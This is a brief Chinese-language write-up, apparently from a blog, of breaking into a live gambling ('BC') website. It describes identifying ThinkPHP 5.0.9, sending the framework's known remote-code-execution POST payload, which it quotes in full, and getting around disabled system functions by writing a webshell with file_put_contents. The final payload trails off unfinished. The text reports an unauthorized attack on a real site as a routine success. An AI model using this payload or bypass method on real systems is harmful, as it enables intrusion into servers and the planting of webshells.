简单的BC站点getshell

0x01 确定目标主站：旁站：0x02 漏洞利用通过信息收集发现是个tp v5.0.9，此版本存在tp-rce漏洞。直接通过payload进行测试，Post：_method=__construct&filter[]=assert&method=get&get[]=phpinfo()查找payload，直接打：Post：_method=__construct&filter[]=assert&method=get&get[]=phpinfo()发现是php 5.4.45版本的，直接尝试getshell：发现system被禁用，尝试其他系统命令的也一样。查看phpinfo中desable_functions禁用了那些函数。想办法怎么绕过进行写马（此处卡了我半天）最后通过一位渗透小伙伴，想出下面的可以利用file_put_contents直接写shell，想了半天，忘了用其他函数进行直接写马就可以了，并不需要非得利用system命令进行写马，还是底层知识薄弱啊。再次感谢小伙伴！0x03 getshell构造payload：_method=__construct&filter[]=assert& ………………………………